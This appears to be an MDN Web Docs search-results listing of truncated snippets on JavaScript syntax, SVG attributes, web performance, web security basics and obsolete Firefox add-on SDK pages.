Lexical grammar - JavaScript
u+200d zero width joiner <zwj> placed between characters that would not normally be connected in order to cause the characters to be rendered using their connected form in certain languages (wikipedia).
... decimal 1234567890 42 // caution when using with a leading zero: 0888 // 888 parsed as decimal 0777 // parsed as octal, 511 in decimal note that decimal literals can start with a zero (0) followed by another decimal digit, but if all digits after the leading 0 are smaller than 8, the number is interpreted as an octal number.
Bitwise NOT (~) - JavaScript
note that due to using 32-bit representation for numbers both ~-1 and ~4294967295 (232-1) results in 0.
... examples using bitwise not ~0; // -1 ~-1; // 0 ~1; // -2 specifications specification ecmascript (ecma-262)the definition of 'unary not expression' in that specification.
Destructuring assignment - JavaScript
you can ignore return values that you're not interested in: function f() { return [1, 2, 3]; } const [a, , b] = f(); console.log(a); // 1 console.log(b); // 3 const [c] = f(); console.log(c); // 1 you can also ignore all returned values: [,,] = f(); assigning the rest of an array to a variable when destructuring an array, you can unpack and assign the remaining part of it to a variable using the rest pattern: const [a, ...b] = [1, 2, 3]; console.log(a); // 1 console.log(b); // [2, 3] be aware that a syntaxerror will be thrown if a trailing comma is used on the left-hand side with a rest element: const [a, ...b,] = [1, 2, 3]; // syntaxerror: rest element may not have a trailing comma // always consider using rest operator as the last element unpacking values from a regular expre...
...) around the assignment statement are required when using object literal destructuring assignment without a declaration.
Equality (==) - JavaScript
if one of the operands is an object and the other is a number or a string, try to convert the object to a primitive using the object's valueof() and tostring() methods.
... look at logical not operator null == undefined; // true const number1 = new number(3); const number2 = new number(3); number1 == 3; // true number1 == number2; // false comparison of objects const object1 = {"key": "value"} const object2 = {"key": "value"}; object1 == object2 // false object2 == object2 // true comparing strings and string objects note that strings constructed using new string() are objects.
Logical AND (&&) - JavaScript
short-circuit evaluation the logical and expression is evaluated left to right, it is tested for possible "short-circuit" evaluation using the following rule: (some falsy expression) && expr is short-circuit evaluated to the falsy expression; short circuit means that the expr part above is not evaluated, hence any side effects of doing so do not take effect (e.g., if expr is a function call, the calling never takes place).
... true || false && false // returns true, because && is executed first (true || false) && false // returns false, because operator precedence cannot apply examples using and the following code shows examples of the && (logical and) operator.
Logical AND assignment (&&=) - JavaScript
syntax expr1 &&= expr2 description short-circuit evaluation the logical and operator is evaluated left to right, it is tested for possible short-circuit evaluation using the following rule: (some falsy expression) && expr is short-circuit evaluated to the falsy expression; short circuit means that the expr part above is not evaluated, hence any side effects of doing so do not take effect (e.g., if expr is a function call, the calling never takes place).
... logical and assignment short-circuits as well meaning that x &&= y is equivalent to: x && (x = y); and not equivalent to the following which would always perform an assignment: x = x && y; examples using logical and assignment let x = 0; let y = 1; x &&= 0; // 0 x &&= 1; // 0 y &&= 1; // 1 y &&= 0; // 0 specifications specification logical assignment operatorsthe definition of 'assignment operators' in that specification.
Logical nullish assignment (??=) - JavaScript
syntax expr1 ??= expr2 description short-circuit evaluation the nullish coalescing operator is evaluated left to right, it is tested for possible short-circuit evaluation using the following rule: (some expression that is neither null nor undefined) ??
...y; examples using logical nullish assignment function config(options) { options.duration ??= 100; options.speed ??= 25; return options; } config({ duration: 125 }); // { duration: 125, speed: 25 } config({}); // { duration: 100, speed: 25 } specifications specification logical assignment operatorsthe definition of 'assignment operators' in that specification.
Property accessors - JavaScript
property accessors provide access to an object's properties by using the dot notation or the bracket notation.
...eval javascript novices often make the mistake of using eval() where the bracket notation can be used instead.
super - JavaScript
examples using super in classes this code snippet is taken from the classes sample (live demo).
... } } var y = new y(); y.foo(); // typeerror: "prop" is read-only console.log(y.prop); // 1 using super.prop in object literals super can also be used in the object initializer / literal notation.
void operator - JavaScript
the void operator is often used merely to obtain the undefined primitive value, usually using "void(0)" (which is equivalent to "void 0").
... it should be noted that the precedence of the void operator should be taken into account and that parentheses can help clarify the resolution of the expression following the void operator: void 2 == '2'; // (void 2) == '2', returns false void (2 == '2'); // void (2 == '2'), returns undefined examples immediately invoked function expressions when using an immediately-invoked function expression, void can be used to force the function keyword to be treated as an expression instead of a declaration.
continue - JavaScript
examples using continue with while the following example shows a while loop that has a continue statement that executes when the value of i is 3.
... var i = 0; var n = 0; while (i < 5) { i++; if (i === 3) { continue; } n += i; } using continue with a label in the following example, a statement labeled checkiandj contains a statement labeled checkj.
for - JavaScript
examples using for the following for statement starts by declaring the variable i and initializing it to 0.
... var i = 0; for (;;) { if (i > 3) break; console.log(i); i++; } using for without a statement the following for cycle calculates the offset position of a node in the final-expression section, and therefore it does not require the use of a statement section, a semicolon is used instead.
let - JavaScript
for example: var x = 'global'; let y = 'global'; console.log(this.x); // "global" console.log(this.y); // undefined emulating private members in dealing with constructors it is possible to use the let bindings to share one or more private members without using closures: var thing; { let privatescope = new weakmap(); let counter = 0; thing = function() { this.someproperty = 'foo'; privatescope.set(this, { hidden: ++counter, }); }; thing.prototype.showpublic = function() { return this.someproperty; }; thing.prototype.showprivate = function() { return privatescope.get(this).hidden; }; } console.log(typeof p...
... function do_something() { console.log(bar); // undefined console.log(foo); // referenceerror var bar = 1; let foo = 2; } the temporal dead zone and typeof unlike with simply undeclared variables and variables that hold a value of undefined, using the typeof operator to check for the type of a variable in that variable's temporal dead zone will throw a referenceerror: // prints out 'undefined' console.log(typeof undeclaredvariable); // results in a 'referenceerror' console.log(typeof i); let i = 10; another example of temporal dead zone combined with lexical scoping due to lexical scoping, the identifier foo inside the expression (foo ...
switch - JavaScript
it then looks for the first case clause whose expression evaluates to the same value as the result of the input expression (using the strict comparison, ===) and transfers control to that clause, executing the associated statements.
... examples using switch in the following example, if expr evaluates to bananas, the program matches the value with case case 'bananas' and executes the associated statement.
Strict mode - JavaScript
two mozilla-specific caveats: first, if your code is javascript 1.7 or greater (for example in chrome code or when using the right <script type="">) and is strict mode code, let and yield have the functionality they've had since those keywords were first introduced.
...exercise caution in using strict mode, and back up reliance on strict mode with feature tests that check whether relevant parts of strict mode are implemented.
Trailing commas - JavaScript
furthermore, when using a rest parameters, trailing commas are not allowed: function f(,) {} // syntaxerror: missing formal parameter (,) => {}; // syntaxerror: expected expression, got ',' f(,) // syntaxerror: expected expression, got ',' function f(...p,) {} // syntaxerror: parameter after rest parameter (...p,) => {} // syntaxerror: expected closing parenthesis, got ',' trailing commas in...
... destructuring a trailing comma is also allowed on the left-hand side when using destructuring assignment: // array destructuring with trailing comma [a, b,] = [1, 2]; // object destructuring with trailing comma var o = { p: 42, q: true, }; var {p, q,} = o; again, when using a rest element, a syntaxerror will be thrown: var [a, ...b,] = [1, 2, 3]; // syntaxerror: rest element may not have a trailing comma trailing commas in json trailing commas in objects were only introduced in ecmascript 5.
JavaScript
equality comparisons and sameness javascript provides three different value-comparison operations: strict equality using ===, loose equality using ==, and the object.is() method.
... stackblitz stackblitz is another online playground/debugging tool, which can host and deploy full-stack applications using react, angular, etc.
<mmultiscripts> - MathML
examples using <mprescripts/> sample rendering: rendering in your browser: x d c b a <math> <mmultiscripts> <mi>x</mi> <!-- base expression --> <mi>d</mi> <!-- postsubscript --> <mi>c</mi> <!-- postsuperscript --> <mprescripts /> <mi>b</mi> <!-- presubscript --> <mi>a</mi> <!-- presuperscript --> </mmultiscripts> </m...
...ath> using <none/> sample rendering: rendering in your browser: x c b <math> <mmultiscripts> <mi>x</mi> <!-- base expression --> <none /> <!-- postsubscript --> <mi>c</mi> <!-- postsuperscript --> <mprescripts /> <mi>b</mi> <!-- presubscript --> <none /> <!-- presuperscript --> </mmultiscripts> </math> specifications specification status comment mathml 3.0the definition of 'mmultiscripts' in that specification.
Critical rendering path - Web Performance
the information is described using tokens.
...there are other ways to optimize css, such as minification, and separating defered css into non-blocking requests by using media queries.
Navigation and resource timings - Web Performance
fetchstart when the browser is ready to fetch the document using an http request.
... let compressionsavings = 1 - (timing.transfersize / timing.decodedbodysize) we could have used let compressionsavings = 1 - (timing.encodedbodysize / timing.decodedbodysize) but using transfersize includes the overhead bytes.
Performance budgets - Web Performance
a ~$200 android device over a 3g connection), using multiple tools.
...using font-display to improve perceived performance).
Privacy, permissions, and information security
for example, if a site leaks a list of users' names and zip codes online, a bad actor could almost certainly track down at least some percentage of those users by simply using the corresponding phone books.
... keeping personal data safe managing site permissions bringing it all together <using feature policy with permissions and so forth; how to use them together, how they interact, etc> permission requests in <iframe> elements things can get tricky when your web app uses the <iframe> element to embed content from another site inside your own, especially if the document you load into the frame has its own permission needs to consider.
Progressive web app structure - Progressive web apps (PWAs)
pwas can be built using any approach you like, but some will work better than the others.
...there are so many varied devices with browsers — it's important to prepare your website so it works on different screen sizes, viewports or pixel densities, using technologies like viewport meta tag, css media queries, flexbox, and css grid.
Web API reference - Web technology reference
WebReferenceAPI
these can be accessed using javascript code, and let you do anything from making minor adjustments to any window or element, to generating intricate graphical and audio effects using apis such as webgl and web audio.
... data management apis user data can be stored and managed using this set of apis.
SVG Core Attributes - SVG: Scalable Vector Graphics
WebSVGAttributeCore
its purpose is to identify the element when linking (using a fragment identifier), scripting, or styling (with css).
... note: instead of using the xml:space attribute you should use the white-space css property.
begin - SVG: Scalable Vector Graphics
WebSVGAttributebegin
six elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <discard>, and <set> animate, animatecolor, animatemotion, animatetransform, set for <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set>, begin defines when the element should begin, i.e.
...so, authors are encouraged to set the playbackorder attribute to forwardonly when using the <discard> element.
class - SVG: Scalable Vector Graphics
WebSVGAttributeclass
you can use this class to style svg content using css.
...for example, a <list-of-lengths> is represented in the svg dom using an svglengthlist or svganimatedlengthlist object.
fill - SVG: Scalable Vector Graphics
WebSVGAttributefill
for animation five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set>.
... legend compatibility unknown compatibility unknown note: for information on using the context-fill (and context-stroke) values from html documents, see the documentation for the non-standard -moz-context-properties property.
href - SVG: Scalable Vector Graphics
WebSVGAttributehref
the exact meaning of that link depends on the context of each element using it.
... fifteen elements are using this attribute: <a>, <animate>, <animatemotion>, <animatetransform>, <discard>, <feimage>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, and <use> html, body, svg { height: 100%; } <svg viewbox="0 0 160 40" xmlns="http://www.w3.org/2000/svg"> <a href="https://developer.mozilla.org/"><text x="10" y="25">mdn web docs</text></a> </svg> in svg a for <a>, href defines the location of the referenced object, expressed as a url reference.
in - SVG: Scalable Vector Graphics
WebSVGAttributein
fourteen elements are using this attribute: <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <fegaussianblur>, <femergenode>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile> usage notes value sourcegraphic | sourcealpha | backgroundimage | backgroundalpha | fillpaint | strokepaint | <filter-primitive-refer...
... workaround for backgroundimage instead of using in="backgroundimage", we need to import one of the images to blend inside the filter itself, using an <feimage> element.
operator - SVG: Scalable Vector Graphics
two elements are using this attribute: <fecomposite> and <femorphology> html, body, svg { height: 100%; font: 20px arial, helvetica, sans-serif; } <svg viewbox="0 0 120 70" xmlns="http://www.w3.org/2000/svg"> <filter id="erode"> <femorphology operator="erode" radius="0.4"/> </filter> <filter id="dilate"> <femorphology operator="dilate" radius="0.8"/> </filter> <text x="0" y="15">normal text</text> <text x="0" y="40" filter="url(#erode)">thin text</text> <text x="0" y="65" filter="url(#dilate)">fat text</text> </svg> fecomposite for <fecomposite>, operator defines the compositing operation that is to be perform...
... arithmetic this value indicates that the source graphic defined in the in attribute and the destination graphic defined in the in2 attribute are combined using the following formula: result = k1*i1*i2 + k2*i1 + k3*i2 + k4 where: i1 and i2 indicate the corresponding pixel channel values of the input image, which map to in and in2 respectively, and k1,k2,k3,and k4 indicate the values of the attributes with the same name.
pathLength - SVG: Scalable Vector Graphics
this value is then used to calibrate the browser's distance calculations with those of the author, by scaling all distance computations using the ratio pathlength/(computed value of path length).
... seven elements are using this attribute: <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, and <rect> html,body,svg { height:100% } <svg viewbox="0 0 100 60" xmlns="http://www.w3.org/2000/svg"> <style> path { fill: none; stroke: black; stroke-width: 2; stroke-dasharray: 10; } </style> <!-- no pathlength, the real length of the path is used.
patternTransform - SVG: Scalable Vector Graphics
only one element is using this attribute: <pattern> html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- apply a transform on the tile --> <pattern id="p1" width=".25" height=".25" patterntransform="rotate(20) skewx(30) scale(1 0.5)"> <circle cx="10" cy="10" r="10" /> </pattern> <!-- apply the transformed pattern tile --> <rect x="10" y="10" width="80" height="80" fill="url(#p1)" /> </svg> pattern for <pattern>, patterntransform defines a list of transform definitions that are applied to a pattern tile.
...for backward compatibility reason, it is highly suggested to keep using the patterntransform attribute.
r - SVG: Scalable Vector Graphics
WebSVGAttributer
two elements are using this attribute: <circle>, and <radialgradient> html,body,svg { height:100% } <svg viewbox="0 0 300 200" xmlns="http://www.w3.org/2000/svg"> <radialgradient r="0" id="mygradient000"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <radialgradient r="50%" id="mygradient050"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <radialgradient r="100%" id="mygradient100"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <circle cx="50" cy="50" r="0"/> <circle cx="150" cy="50" r="25"/> <circle cx="250" cy="50" r="50"/> <re...
...a value of lower or equal to zero will cause the area to be painted as a single color using the color and opacity of the last gradient <stop>.
requiredFeatures - SVG: Scalable Vector Graphics
twentynine elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <circle>, <clippath>, <cursor>, <defs>, <ellipse>, <foreignobject>, <g>, <image>, <line>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <set>, <svg>, <switch>, <text>, <textpath>, <tref>, <tspan>, <use> html, body, svg { height: 100%; } text { fill: white; } <svg viewbox="0 0 25...
...uiredfeatures=""> <rect fill="crimson" x="10" y="10" height="25" width="230" /> <text x="20" y="27">requiredfeatures not supported</text> </g> </svg> usage notes value <list-of-features> default value true if not defined, false if null or empty string as value animatable no <list-of-features> this is a list of feature strings, separated using white space.
style - SVG: Scalable Vector Graphics
WebSVGAttributestyle
the style attribute allows to style an element using css declarations.
... all elements are using this attribute.
u1 - SVG: Scalable Vector Graphics
WebSVGAttributeu1
comma is the separator character; thus, to kern a comma, specify the comma as part of a range of unicode characters or as a glyph name using the g1 attribute.
... two elements are using this attribute: <hkern> and <vkern> context notes value [ <character> | <urange> ]# default value none animatable no [ <character> | <urange> ]# this value indicates a comma-separated sequence of unicode characters and/or ranges of unicode characters, which identify a set of possible first glyphs in a kerning pair.
u2 - SVG: Scalable Vector Graphics
WebSVGAttributeu2
comma is the separator character; thus, to kern a comma, specify the comma as part of a range of unicode characters or as a glyph name using the g2 attribute.
... two elements are using this attribute: <hkern> and <vkern> context notes value [ <character> | <urange> ]# default value none animatable no [ <character> | <urange> ]# this value indicates a comma-separated sequence of unicode characters and/or ranges of unicode characters, which identify a set of possible second glyphs in a kerning pair.
unicode - SVG: Scalable Vector Graphics
WebSVGAttributeunicode
it is often useful to refer to characters using xml character references expressed in hexadecimal notation or decimal notation.
... only one element is using this attribute: <glyph> context notes value <string> default value none animatable no <string> this value specifies one or more unicode characters corresponding to a glyph.
xlink:href - SVG: Scalable Vector Graphics
the exact meaning of that link depends on the context of each element using it.
... 22 elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <color-profile>, <cursor>, <feimage>, <filter>, <font-face-uri>, <glyphref>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, <tref>, and <use>} html, body, svg { height: 100%; } <svg viewbox="0 0 160 40" xmlns="http://www.w3.org/2000/svg"> <a xlink:href="https://developer.mozilla.org/"><text x="10" y="25">mdn web docs</text></a> </svg> a for <a>, xlink:href defines the location of the referenced object.
xml:space - SVG: Scalable Vector Graphics
note: instead of using the xml:space attribute, use the white-space css property.
... all elements are using this attribute.
<feDiffuseLighting> - SVG: Scalable Vector Graphics
the <fediffuselighting> svg filter primitive lights an image using the alpha channel as a bump map.
... the light map produced by this filter primitive can be combined with a texture image using the multiply term of the arithmetic operator of the <fecomposite> filter primitive.
<feSpecularLighting> - SVG: Scalable Vector Graphics
the <fespecularlighting> svg filter primitive lights a source graphic using the alpha channel as a bump map.
...such a map is intended to be combined with a texture using the add term of the arithmetic <fecomposite> method.
<use> - SVG: Scalable Vector Graphics
WebSVGElementuse
since the cloned nodes are not exposed, care must be taken when using css to style a use element and its cloned descendants.
... css properties are not guaranteed to be inherited by the cloned dom unless you explicitly request them using css inheritance.
Gradients in SVG - SVG: Scalable Vector Graphics
this is done the same way you reference elements in css, using a url.
...the radialgradient above would be rewritten: <radialgradient id="gradient" cx="60" cy="60" r="50" fx="35" fy="35" gradientunits="userspaceonuse"> you can also then apply another transformation to the gradient by using the gradienttransform attribute, but since we haven't introduced transforms yet, i'll leave that for later.
SVG: Scalable Vector Graphics
WebSVG
getting started this tutorial will help get you started using svg.
... some real eye-candy svg at svg-wow.org firefox extension (grafox) to add a subset of smil animation support interactive photos manipulation html transformations using svg's foreignobject mapping, charting, games & 3d experiments while a little svg can go a long way to enhanced web content, here are some examples of heavy svg usage.
Insecure passwords - Web security
if you are using a cloud platform, it may have its own ways of enabling https.
...attackers are getting smarter; they steal username/password pairs from one site and then try reusing them on more lucrative sites.
Mixed content - Web security
an https page that includes content fetched using cleartext http is called a mixed content page.
...if the webpage is public and has no sensitive data about the user, using mixed active content still provides the attacker with the opportunity to redirect the user to other http pages and steal http cookies from those sites.
Referer header: privacy and security concerns - Web security
this is becoming less useful in this context now that most of the web is using https, but it is still a worthy consideration.
... you can also mitigate such risks using: the referrer-policy header on your server to control what information is sent through the referer header.
Securing your site - Web security
hash passwords using a secure algorithm (owasp) storing passwords in plain text can lead to attackers knowing and leaking the exact password of your site's users, potentially putting the users at risk.
... http strict transport security the strict-transport-security: http header lets a website specify that it may only be accessed using https.
Subdomain takeovers - Web security
unless the hosting provider is very careful to verify that the entity who sets up the virtual host actually is the owner of the subdomain name, an attacker who is quicker than you could create a virtual host with the same hosting provider, using your subdomain name.
... during deprovisioning you take down your virtual host, but an attacker sets up a new virtual host using the same name and hosting provider.
HTML Imports - Web Components
try to avoid using it.
... you import an html file by using a <link> tag in an html document like this: <link rel="import" href="myfile.html"> the import link type is new.
XML introduction - XML: Extensible Markup Language
are five of these characters that you should know: entity character description &lt; < less than sign &gt; > greater than sign &amp; & ampersand &quot; " one double-quotation mark &apos; ' one apostrophe (or single-quotation mark) even though there are only 5 declared entities, more can be added using the document's document type definition.
... one way to style xml output is to specify css to apply to the document using the xml-stylesheet processing instruction.
Index - XPath
WebXPathIndex
2 axes transforming_xml_with_xslt, xpath, xpath_reference, xslt, xslt_reference for further information on using xpath expressions, please see the for further reading section at the end of transforming xml with xslt document.
... 55 index index, reference, xpath, xslt found 57 pages: 56 introduction to using xpath in javascript add-ons, dom, extensions, javascript, transforming_xml_with_xslt, web development, xml, xpath, xslt this document describes the interface for using xpath in javascript internally, in extensions, and from websites.
An Overview - XSLT: Extensible Stylesheet Language Transformations
locations on the tree are specified using xpath, another w3c recommendation.
... potential conflicts in template matching are resolved by using a set of cascading precedence rules.
Index - WebAssembly
3 compiling a new c/c++ module to webassembly c, c++, compiling, emscripten, webassembly, wasm when you’ve written a new code module in a language like c/c++, you can compile it into webassembly using a tool like emscripten.
... 11 using the webassembly javascript api api, devtools, javascript, webassembly, compile, instantiate, memory, table this article has taken you through the basics of using the webassembly javascript api to include a webassembly module in a javascript context and make use of its functions, and how to use webassembly memory and tables in javascript.
Navigator.mozNotification - Archive of obsolete content
permissions when using notifications in an open web app, be sure to add the desktop-notification permission in your manifest file: "permissions": { "desktop-notification": {} } usage notes in firefox 22+, the instantiation of a new notification should be done with the notification object by calling new notification(title, options).
Builder - Archive of obsolete content
the add-on builder was a web-based development environment that allowed developers to create add-ons using the sdk apis, but without needing to use the jpm command line tool.
port - Archive of obsolete content
cript to the main add-on code: // content-script.js var mymessagepayload = "some data"; self.port.emit("mymessage", mymessagepayload); from the main add-on code to the content script: // main.js var mymessagepayload = "some data"; worker.port.emit("mymessage", mymessagepayload); on() the port.on() function registers a function as a listener for a particular message sent from the other side using port.emit().
Program ID - Archive of obsolete content
when you package your add-on for distribution using jpm xpi, it will become the id field in the add-on's install manifest.
Testing the Add-on SDK - Archive of obsolete content
with gulp installed, and after installing the addon-sdk's npm dependencies, we can run the latter three test suites mentioned for cfx with jpm using the following commands: gulp test:examples --filter <addon_example_folder_name> gulp test:addons --filter <addon_folder_name> gulp test:modules --filter <file_name>:<test_name> or run all of the tests with gulp test.
hotkeys - Archive of obsolete content
for example, accel-s is typically used to save a file, but if you use it for something completely different, then it would be extremely confusing for users.
notifications - Archive of obsolete content
usage this api supports desktop notifications on windows, os x using growl (and notification center as of os x 10.9 mavericks), and linux using libnotify.
passwords - Archive of obsolete content
using this module you can: search for credentials which have been stored in the password manager.
querystring - Archive of obsolete content
globals functions stringify(fields, separator, assignment) serializes an object containing name:value pairs into a query string: querystring.stringify({ foo: 'bar', baz: 4 }); // => 'foo=bar&baz=4' by default '&' and'=' are used as separator and assignment characters, but you can override this using additional optional parameters: querystring.stringify({ foo: 'bar', baz: 4 }, ';', ':'); // => 'foo:bar;baz:4' parameters fields : object the data to convert to a query string.
system - Archive of obsolete content
usage querying your environment using the system module you can access environment variables (such as path), find out which operating system your add-on is running on and get information about the host application (for example, firefox or fennec), such as its version.
url - Archive of obsolete content
if base64 is true, the data property is encoded using base-64 encoding.
windows - Archive of obsolete content
ve window is given by browserwindows.activewindow: var windows = require("sdk/windows").browserwindows; windows.on('activate', function(window) { console.log("a window was activated."); var activewindowtitle = windows.activewindow.title; console.log("active window title is: " + activewindowtitle); }); events the browserwindows property emits the following events which can be listened to using its on function.
High-Level APIs - Archive of obsolete content
base64 data encoding and decoding using base64 algorithms.
console/plain-text - Archive of obsolete content
it's implemented using console.jsm, and is prefixed with the addon's name, and log levels set based off of startup instruction.
content/symbiont - Archive of obsolete content
usage a symbiont loads the specified contenturl and content scripts into a frame, and sets up an asynchronous channel between the content scripts and the add-on code, enabling them to exchange messages using the port or postmessage apis.
event/target - Archive of obsolete content
users of the object can listen to the events using the standard on() and once() functions.
frame/hidden-frame - Archive of obsolete content
you must specify an onready callback and refrain from using the hidden frame until the callback gets called, because hidden frames are not always ready to load content the moment they are added.
loader/sandbox - Archive of obsolete content
version : string evaluate the code using this version of javascript.
net/xhr - Archive of obsolete content
for more information about xmlhttprequest objects, see the mdn page on using xmlhttprequest and the security concerns section in this page.
places/bookmarks - Archive of obsolete content
see also using xpcom without chrome - bookmark observer ...
remote/parent - Archive of obsolete content
instead, the two sides communicate using port objects like those used for communication with content scripts.
util/collection - Archive of obsolete content
a simple list-like class and utilities for using it.
jpm-mobile - Archive of obsolete content
jpm usage is: jpm-mobile [command] [options] jpm supports the following global options: -h, --help - show a help message and exit -v, --version - print the jpm version number installation jpm-mobile is distributed using the node package manager npm, so to get jpm-mobile you need to have npm installed, if you haven't already.
Add a Menu Item to Firefox - Archive of obsolete content
to see how to use third-party modules to add a new menu item, see the tutorial on using third-party modules with jpm.
Adding a Button to the Toolbar - Archive of obsolete content
the button is added to the toolbar at the top of the browser window: you can't set the initial location for the button, but the user can move it using the browser's customization feature.
Creating Reusable Modules - Archive of obsolete content
you then import and use these modules from other parts of your add-on using the require() statement, in exactly that same way that you import core sdk modules like page-mod or panel.
Display a Popup - Archive of obsolete content
a panel's content is defined using html.
Logging - Archive of obsolete content
but note that by default, calls to console.log() will not result in any output in the error console for any installed add-ons: this includes add-ons installed using the add-on builder or using tools like the extension auto-installer.
Add-on SDK - Archive of obsolete content
using the add-on sdk, you can create firefox add-ons.
Alerts and Notifications - Archive of obsolete content
tle, msg) { var image = null; var win = components.classes['@mozilla.org/embedcomp/window-watcher;1'] .getservice(components.interfaces.nsiwindowwatcher) .openwindow(null, 'chrome://global/content/alerts/alert.xul', '_blank', 'chrome,titlebar=no,popup=yes', null); win.arguments = [image, title, msg, false, '']; } using notification box another way of non-modal notification and further interaction with users is using of xul elements notificationbox and notification (implicitly).
Cookies - Archive of obsolete content
reading existing cookies cookies for a given host, represented as nsicookie2 objects, can be enumerated as such: let enum = services.cookies.getcookiesfromhost("example.com"); while (enum.hasmoreelements()) { var cookie = enum.getnext().queryinterface(ci.nsicookie2); dump(cookie.host + ";" + cookie.name + "=" + cookie.value + "\n"); } all cookies, regardless of host, can be enumerated using services.cookies.enumerator rather than getcookiesfromhost().
Dialogs and Prompts - Archive of obsolete content
using <dialogheader> you can use the dialogheader element to add "headers" to windows.
Downloading Files - Archive of obsolete content
instead of using qi like above, you can also implement nsiinterfacerequestor and return nsiauthprompt from there, like nsiwebbrowserpersist.progresslistener documentation suggests.
HTML in XUL for rich tooltips - Archive of obsolete content
non-dynamic html in xul tooltip it is also possible to avoid using dynamic html to accomplish this.
JS XPCOM - Archive of obsolete content
xpcomutils - about protocol handler this example implements a quick about protocol handler in js using xpcomutils.jsm.
Label and description - Archive of obsolete content
<description>i am your father's brother's nephew's cousin's former roommate.<html:br/> what's that make us?<html:br/> absolutely nothing!</description> using labels as anchors its possible to make a label look and act like an html <a> tag: <label class="text-link" href="http://whatever.com" value="click here to go to whatever"/> "text-link" is a built-in, predefined class.
QuerySelector - Archive of obsolete content
// if you'd like to convert it to a array for convenience, use this instead: // return array.prototype.slice.call(el.queryselectorall(selector)); } alert($('#myid').id); (note that while using the firefox web console, the above functions are available automatically.) both xul and even xml can be easily made supportable (an alternative approach to the following would be to add chromewindow.prototype or window.prototype, accessing this.document.queryselector, or following the jquery style of chaining by returning 'this' within each prototype method of $()): htmldocument.prototype.$ = fun...
SVG General - Archive of obsolete content
here are some examples of using it: var circle = makesvg("circle", {id: "circle1", cx: "60", cy: "60", r: "50"}); var img = makesvg("image", {id: "img1", x: "110", y: "110", width: "100", height: "100", svghref: "bubbles.png"}); var text = makesvg("text", {id: "text1", x: "60", y: "60"}); text.textcontent = "hello world"; ...
Sidebar - Archive of obsolete content
nterfaces.nsidocshelltreeitem) .roottreeitem .queryinterface(components.interfaces.nsiinterfacerequestor) .getinterface(components.interfaces.nsidomwindow); mainwindow.document.getelementbyid("sidebar-box").width=newwidth; } or function setsidebarwidth(newwidth) { window.top.document.getelementbyid("sidebar-box").width=newwidth; } you can also disable the ability to resize it manually, using the mouse, by hiding the sidebar's splitter element.
Tabbox - Archive of obsolete content
try to avoid using it.
Delayed Execution - Archive of obsolete content
queuing a task in the main event loop when a task needs to be only briefly delayed, such that it runs after the current call chain returns, it can be added directly to the main thread's event queue rather than scheduled as a timeout: function executesoon(func) { services.tm.mainthread.dispatch(func, ci.nsithread.dispatch_normal); } using nsitimers to schedule tasks in instances where settimeout() and setinterval() are unavailable, or insufficient, tasks can be scheduled with delays using nsitimer instances.
JavaScript Daemons Management - Archive of obsolete content
if you want to remove them and are using the daemon.safe subsystem you * should also remove the daemon.safe global object methods that require them.
URI parsing - Archive of obsolete content
grabbing the main domain using the effectivetldservice even using the etldservice, you're unable to get just the base domain sans tld.
View Source for XUL Applications - Archive of obsolete content
method overview gviewsourceutils exposes several methods, but the only one you should be using directly is the viewsource method.
xml:base support in old browsers - Archive of obsolete content
before using this code, check if your browser has native support for node.baseuri.
XML-related code snippets - Archive of obsolete content
how to create a dom tree using xmlhttprequest parsing and serializing xml using xpath jxon (lossless javascript xml object notation) xsl transforms xlink xinclude xml:id xml:base support in old browsers xpointer svg namespaces, or why http://www.mozilla.org/keymaster/gat...re.is.only.xul is at the top of every xul document.
Communication between HTML and your extension - Archive of obsolete content
as a last ditch effort i tried setting a timeout using settimeout when i got the event in the extension to wait a few milliseconds before looking for the desired element.
Deploying a Plugin as an Extension - Archive of obsolete content
this allows the plugin to be treated like other firefox extensions; it can be upgraded, disabled, or uninstalled using the firefox user interface.
Displaying web content in an extension without security issues - Archive of obsolete content
so properly sanitizing input is still required when using innerhtml and it is far from trivial.
Extension Theming Guidelines - Archive of obsolete content
xul guidelines xbl bindings xbl bindings are applied using style rules.
Inline options - Archive of obsolete content
<setting pref="extensions.throbberrestored.showtxtontoolbar" title="show text on toolbar button" type="bool" oninputchanged="alert('new value is = ' + this.value); this.style.backgroundcolor='red';"> if labels on other toolbar buttons are visible (like by using add-on "classic theme restorer") then show label on throbber toolbar button </setting> note in order for the oninputchanged to execute, the setting must have a pref attribute, otherwise the oninputchanged will not trigger.
Installing Extensions and Themes From Web Pages - Archive of obsolete content
there are a variety of ways you can install extensions and themes from web pages, including direct linking to the xpi files and using the installtrigger object.
Jetpack Processes - Archive of obsolete content
prior to firefox 12, it could be included in custom builds by using enable_jetpack_service at compile time.
Multiple item extension packaging - Archive of obsolete content
installation installation can be performed using any of the existing methods used for installing extensions / themes.
Appendix B: Install and Uninstall Scripts - Archive of obsolete content
so, in order to detect the first stage, you'll need to add an event listener using the addaddonlistener method.
Appendix D: Loading Scripts - Archive of obsolete content
javascript files or urls may be loaded in this manner by first retrieving their contents into memory using an xmlhttprequest.
Getting Started with Firefox Extensions - Archive of obsolete content
issue the following command to unzip the file on linux or mac os x: unzip xulschoolhello1.xpi -d xulschoolhello1 on windows, you can change the file extension from xpi to zip, or open the file directly, then unzip it, using a zip tool.
Introduction - Archive of obsolete content
it usually means that the projects were built using mozilla technologies.
Overlay extensions - Archive of obsolete content
xul school xul school is a comprehensive add-on development tutorial, focusing on firefox extension development but mostly applicable to other gecko-based applications.
Extensions support in SeaMonkey 2 - Archive of obsolete content
